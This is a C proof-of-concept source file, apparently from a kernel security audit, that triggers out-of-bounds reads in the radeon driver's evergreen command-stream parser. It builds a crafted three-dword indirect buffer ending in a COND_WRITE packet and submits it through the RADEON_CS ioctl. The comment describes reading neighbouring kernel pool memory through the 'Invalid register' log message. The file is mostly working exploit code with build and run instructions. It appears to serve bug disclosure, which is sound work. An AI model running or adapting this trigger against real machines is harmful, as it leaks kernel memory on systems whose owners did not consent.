DF-3837 / trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 | /* * DF-3837 PoC trigger โ evergreen_ib_parse() / evergreen_vm_packet3_check() * out-of-bounds IB reads via RADEON_CS (VM path, cayman gfx ring). * * Bug: evergreen_cs.c:3519-3553 evergreen_ib_parse() walks the IB with * `idx += pkt.count + 2` and never validates that the packet fits in * ib->length_dw. evergreen_vm_packet3_check() then reads fixed payload * offsets with NO pkt->count validation: * :3350 ib[idx] (unconditional, idx = pkt->idx+1) * :3407 ib[idx+5] (COND_WRITE, needs count>=5, none checked) * :3414 ib[idx+3] (COPY_DW, needs count>=3, none checked) * :3435 ib[idx+4] (CP_DMA, needs count>=4, none checked) * For a TYPE3 packet placed at the very END of the IB, those reads run up * to 5 dwords past the IB sub-allocation inside the kernel-mapped IB pool. * Values read OOB are (a) used for validation decisions and (b) printed to * the kernel log as "Invalid register 0x%x in CS" (evergreen_cs.c:3341) * -> information-disclosure oracle of neighbouring pool memory. * * This PoC builds the malicious IB and submits it through the RADEON_CS ioctl * with RADEON_CS_USE_VM set (radeon_cs.c:546-556 -> radeon_ring_ib_parse -> * evergreen_ib_parse on the cayman gfx ring). * * Requires: real AMD cayman GPU + radeon KMS + an authenticated DRI fd * (normally provided by libdrm; this PoC does the auth handshake with raw * ioctls). On the audit QEMU guest (virtio only, no /dev/dri) the open() * fails with ENOENT โ that is the expected outcome there. * * Build: cc -O2 -o trigger trigger.c * Run: ./trigger /dev/dri/card0 */ #include <sys/ioctl.h> #include <sys/types.h> #include <fcntl.h> #include <stdint.h> #include <stdio.h> #include <string.h> #include <unistd.h> #include <errno.h> /* ---- minimal uapi re-definitions (sys/dev/drm/include/uapi/drm/) ---- */ struct drm_radeon_cs_chunk { uint32_t chunk_id; /* RADEON_CHUNK_ID_* */ uint32_t length_dw; uint64_t chunk_data; }; struct drm_radeon_cs { uint32_t num_chunks; uint32_t cs_id; uint64_t chunks; /* pts to u64 array of chunk ptrs */ uint64_t gart_limit; uint64_t vram_limit; }; #define RADEON_CHUNK_ID_RELOCS 0x01 #define RADEON_CHUNK_ID_IB 0x02 #define RADEON_CHUNK_ID_FLAGS 0x03 #define RADEON_CS_USE_VM 0x02 /* core drm ioctls (dispatch uses cmd & 0xff, see sys/dev/drm/drm_ioctl.c) */ struct drm_auth { uint32_t magic; }; #define DRM_IOCTL_GET_MAGIC _IOR('d', 0x40+0x02, struct drm_auth) #define DRM_IOCTL_AUTH_MAGIC _IO ('d', 0x40+0x03) #define DRM_IOCTL_RADEON_CS _IOWR('d', 0x40+0x26, struct drm_radeon_cs) /* ---- packet encoding ---- */ #define PKT3(op, cnt) ((3u<<30) | (((cnt)&0x3fff)<<16) | (((op)&0xff)<<8)) #define PKT2() (2u<<30) #define PACKET3_COND_WRITE 0x45 #define PACKET3_COPY_DW 0x4b #define PACKET3_CP_DMA 0x41 int main(int argc, char **argv) { const char *dev = argc > 1 ? argv[1] : "/dev/dri/card0"; int fd, r, i; struct drm_auth auth; /* * IB layout (dwords): * [0] PACKET3_NOP count=0 -> idx advances to 2 * [2] PACKET3_COND_WRITE count=0 -> LAST packet; parser reads * ib[idx+5] = ib[2+1+5] = ib[8] .. 5 dwords past IB end (len=3). * A "valid-looking" but huge register value in the OOB dword makes * evergreen_vm_reg_valid() fail -> DRM_ERROR("Invalid register 0x%x") * prints the out-of-bounds dword to the log. */ uint32_t ib[3]; ib[0] = PKT3(0x10 /*NOP*/, 0); /* hdr + 1 payload */ ib[1] = 0; /* nop payload */ ib[2] = PKT3(PACKET3_COND_WRITE, 0); /* last dword: hdr */ uint32_t flags_chunk[1] = { RADEON_CS_USE_VM }; struct drm_radeon_cs_chunk chunks[2]; uint64_t chunk_ptrs[2]; chunks[0].chunk_id = RADEON_CHUNK_ID_IB; chunks[0].length_dw = 3; chunks[0].chunk_data = (uint64_t)(uintptr_t)ib; chunks[1].chunk_id = RADEON_CHUNK_ID_FLAGS; chunks[1].length_dw = 1; chunks[1].chunk_data = (uint64_t)(uintptr_t)flags_chunk; chunk_ptrs[0] = (uint64_t)(uintptr_t)&chunks[0]; chunk_ptrs[1] = (uint64_t)(uintptr_t)&chunks[1]; struct drm_radeon_cs cs; memset(&cs, 0, sizeof(cs)); cs.num_chunks = 2; cs.chunks = (uint64_t)(uintptr_t)chunk_ptrs; fd = open(dev, O_RDWR); if (fd < 0) { printf("open(%s): %s (device absent on this guest)\n", dev, strerror(errno)); return 2; } /* DRM_AUTH: the CS ioctl requires an authenticated fd */ r = ioctl(fd, DRM_IOCTL_GET_MAGIC, &auth); if (r == 0) printf("magic %#x (hand this to the X server / master for " "DRM_IOCTL_AUTH_MAGIC)\n", auth.magic); r = ioctl(fd, DRM_IOCTL_RADEON_CS, &cs); printf("RADEON_CS: %s\n", r ? strerror(errno) : "accepted"); if (r == 0) printf("IB parsed; check dmesg for \"Invalid register 0x%x in CS\"" " โ that value was read past the IB end.\n", 0); close(fd); return 0; } |